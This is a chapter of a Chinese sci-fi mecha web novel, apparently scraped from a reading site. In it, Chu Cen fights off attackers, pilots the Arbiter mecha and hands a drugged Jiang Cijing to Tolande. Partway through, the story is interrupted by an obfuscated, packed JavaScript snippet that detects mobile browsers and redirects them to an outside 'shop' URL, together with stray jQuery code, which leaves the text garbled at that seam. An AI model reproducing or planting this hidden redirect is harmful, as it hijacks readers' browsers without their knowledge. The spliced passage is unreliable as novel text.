14.既然我动手了
作品:《既然大家都是BT那我就不客气了》 楚岑有些意外,没想到江辞镜这么快就恢复了行动能力。
是这药其实没有那么恐怖,还是江辞镜受到的影响没那么大?
两人并肩作战,一路势如破竹,这还是第一次,江辞镜心想,以前楚岑和托兰德是并肩作战的战友,和她那条狗更是成双成对上战场,至于修亚……虽然都说修亚没有上过战场,但他们两个一起长大,怎么会没有切磋过?
可是在他这里,楚岑只教授他机甲相关的知识,从来没有把他当成过战友或者对手。
她看着他,像在看着一个孩子。
江辞镜的眼前又浮现出幻觉,十六岁的他接过一捧比他还要高的文件笔记,听到楚岑说:“三天……一周吧,看完它们,然后我们进行下一步。”
……江辞镜打了一个惊恐的寒颤,就这么从幻觉里清醒过来了。
因为这一时间的失神,他差点被一枪击中,脚步凌乱地躲开之后,幻觉里的身影和现实里的重合起来了。
楚岑拿着一根不知道从哪拆下来的管子,身形敏捷而凶悍,她一回头,脸色突然变化,然后她朝他冲过来——
一棍子当头掀翻了一个背后偷袭他的混账。
她目光凌厉,随手扯下领口碍事的扣子,“还行不行?”
江辞镜对此的回答,是后退一步,狠狠踩上另一个人的脚,手肘后击,那人直接向后击飞出去,撞翻了另一个人。
楚岑对他的力量有些意外,“体质比以前好了不少嘛。”
“我一直在锻炼,从未松懈。”江辞镜撑着墙壁说。
楚岑一边战斗,一边凝眉向江辞镜看去。
她知道在这个生存环境残酷的星际,只有精神力是不够她立足的,所以她借助系统计算出最适合她训练方式,把自己压榨到极限,生生把自己练成了近战强者。
对于人体力量的增长曲线,她自问能称得上颇有研究。
江辞镜出身荒星,从小营养不良,进入联邦军校之后有所调养,见到她的时候只能说算不上豆芽菜,要说力量,那是弱得一批。
这两年他个子窜得快,肌肉力量却总是跟不上,有楚岑刻意增加他的课业,让他减少斗勇逞狠的原因,她知道他在妮娅事件之后开始防着她,对她藏拙,可一个人的力量可能在短时间内发生这样翻天覆地的改变吗?
简直像护树罗锅突然进化成了金刚。
楚岑思考着,那边江辞镜却发生了新的变化。
不知是不是战斗使他吸入了更多的迷药,刚才还维持着清醒和楚岑对话的江辞镜忽然像一只发狂的野兽,凶残地咬住袭击者的脖子!
袭击者都穿着作战服,全身上下都包得严严实实只剩下一双眼睛留在外面,可江辞镜的形容实在太可怖,被咬住的人惊恐地叫唤起来,那是生物对残暴本能的恐惧。
“江辞镜!”楚岑一脚踹开后防偷袭的,一只手拉住江辞镜的衣领,把他强行分开!
然而这时有人终于认出了她。
“发现楚岑!在三十五楼!”
包围越来越多,空气里的紫色更加浓郁了。
楚岑暗骂一声,单手控制着江辞镜且战且退,抓着他头发摁在墙上瞳孔解锁,然后飞快地躲进一个牢房里。
“江辞镜!喂!”
她掐住江辞镜的脸,在她的呼唤下,那双红得吓人的眼睛勉强挤出一丝清明。
“老师……”江辞镜喘息着低声说,“我好难受。”
“你到底怎么回事,赛洛因迷雾不是这个药效啊。”根据记载,中了赛洛因迷雾的人都会很快失去力气,在幻觉中痛苦地死去,这人怎么反而变得力大如牛,她差点都要控制不住他了,“你是不是自己嗑药了!”
然而江辞镜就像完全听不懂她说什么了,他一头栽到她肩头,炙热的呼吸厮磨她的脖颈。
“我好难受……老师,老师,救救我,我难受……”
好香,好甜,想要撕咬,那层薄薄的皮肤之下,会有更多引人疯狂的东西……
江辞镜呜咽着哀嚎一声,用尽所有力气压制住原始的冲动,发出小兽般低泣的声音。
“撑住。”楚岑低声说,语气依旧平稳。
“老师……”江辞镜哀叫。
楚岑冷毅的眉峰泄露出一丝无奈,“好了,叫魂呢,老师能找人救你,放心。”
砰!
有人在试图炸开屋门。
楚岑没担心自己的脖子,她揽着江辞镜,锐利的目光盯着已经变形的门,手指已经摸向江辞镜手腕上银色的手环。
S级机甲,仲裁者,这是她原本为他准备的成年礼物,不过并没有提前告诉他,因为之前江辞镜还不是S级,如果告诉他,就相当于宣告她知道了他的秘密。
这机甲就放在库房里,也没加密,果然被江辞镜拿来用了。
这里是地下上千公里的地方,如果使用大型杀伤性武器,很容易造成全面塌方,这也是这些袭击者目前还没有人使用机甲的原因,但……
那是他们。
在大门被轰破之前,从门内爆发出可怕的起浪,大门被轰飞,外面一片哀嚎中,一道银色流光撞破墙壁,从里面滑翔而出。
第五代机甲没有前四代笨重,让人在里面更能掌控全局,但相比没有机甲的人类来说,它还是仿佛一个钢铁怪兽,只是擎立在眼前,就能代表相当程度的压迫感。
仲裁者是新机甲,不像阿修罗声名在外,突然出现,让场中懵了一瞬。
“报告,报告,对方启用机甲,报告,对方启用机甲!”
“不惜一切代价,一定要杀死楚岑。”
袭击者听到了这句话,楚岑也听到了。
这些人里也有一个人手腕上穿着机甲手环,眼见他也要启动机甲,楚岑冷笑一声。
“既然我动了,那就没有你们动的份儿了。”
一切都仿佛发生在瞬息之间。
激烈的炮火声让耳内嗡鸣,眼冒金星,在他们的感知中,那银色的怪兽动了起来,却没有人发现它是怎么动的,只是一转眼,他们手中的武器就吸铁石一般,被收缴到了银色机甲的手中。
这是楚岑亲手打造的机甲,她使用起来比江辞镜还要熟练,机甲在她手中不像是武器,而是她身体延伸出去的部分,她没有使用杀伤力大的武器,偌大的机体在相比起它来说过于狭窄的空间里翻转腾挪,只靠令人匪夷所思的机甲体术,就横扫千军。
当托兰德亲自带人冲进地下,赶到现场,看到的就是仲裁者像一只巨大的白熊,大咧咧地屈腿坐在一片狼藉中,身边放着一摞武器,敌人不是变成了尸体,就是躺在那哀嚎。
托兰德谨慎地停住了脚步。
这仲裁者只是一个机甲,但给他带来的感觉,莫名就觉得里面的驾驶者不是江辞镜。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359032|199575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“……楚岑?”他试探着问。
“啊。”银色机甲里传出楚岑的声音,“医疗兵带了吗?江辞镜有点不太对劲,我不敢把他放出去。”
烟雾已经全部被抽走,托兰德神色凝重,“他中了赛洛因迷雾?”
楚岑在机甲里看了看他的脸,无奈地叹气,“这事不是我干的,我也没打算把他当成人质,你往后退,我带他出去。”
这可真是有嘴也说不清,楚岑对今天来的这两波人都满腹牢骚。
托兰德短暂地思考,命令其他人后退,自己等在原地,看着楚岑把江辞镜扛在肩头,从机甲里出来。
身后传来压抑的抽气声。
无论楚岑做过什么,她的煊赫战绩,以及在机甲上的成就都令这些当兵的狂热至极,他们没扑上去高喊偶像签名,就已经是顾及着她的可怕传闻了。
楚岑衣衫凌乱,几处破痕,不可谓不狼狈,可她眼神沉定,神色淡淡地扫过其他人,就让人完全忽视了她的衣着,只觉她胜利加身,更加风华无限。
托兰德目光在她身上一顿,很快看向江辞镜。
楚岑没有说谎,他的确很不对劲。
为了不让他捣乱,楚岑已经把他打晕了,可他即使在睡梦中也依然像一只发狂的野兽,托兰德一靠近,他就低吼着抽搐,等他来到眼前,他猛地睁开眼睛,一拳挥出!
托兰德侧头躲过,又看向江辞镜的眼睛,见他没有真的醒来,这动作全凭本能。
他还要继续攻击,楚岑安抚地揉捏上他的后颈,他就像被挠了下巴的猫一样,瘫软地缩回到楚岑身边。
“他中了赛洛因迷雾,但症状和其他人不一样,具体怎么回事,你得带回去检查。”楚岑说,“反正你也不信我,想知道具体发生了什么,就等他醒了再说吧,看样子应该没有性命之忧。”
她说得太直白,托兰德反而无话可说,他把江辞镜拎起来,无视他焦躁的低吼,“你为什么不跑?”
“这地方的图纸我也看过,哪那么容易跑。”楚岑说,“恐怕我还没冒出地面,就跟打地鼠似的被卫星武器爆头了。”
托兰德没想到她居然知道这是哪里,低头看了眼江辞镜。
“赛洛因迷雾不好解,如果你们没办法的话,”楚岑停顿一下,“去找黎知白,他应该能救。”
“黎知白?”托兰德重复一边这个名字,“帝国那个很有名的医生?”
“他是个烂好人,无论帝国人还是联邦人,他能救都会救的。”楚岑看着江辞镜,“快去吧,再在这浪费时间,神仙来了都救不了。”
托兰德目光复杂地望着她,语气低沉地说:“审判可能会提前开庭。”
这几乎是在宣称楚岑的死刑,然而楚岑眼睛一亮,声调都扬高了,“真的吗?”
托兰德沉默。
楚岑露出微笑,轻快地拍拍托兰德的肩,就像他们还是战友时那样,万分诚恳地说:“谢谢你,托兰德。”
托兰德实在无话可说,他转头示意一下,有士兵上前,把新的束缚器扣在楚岑手腕上,不过这次给她扣在了身前。
“托兰德,”被带走之前,楚岑转过头,“这小子真的没有嗑过药吗?”
托兰德困惑地拧起眉,楚岑提醒到位,笑着转过头去。
如果明天就能走上审判庭,那她今晚做梦都会笑醒。
就看修亚舍不舍得了。

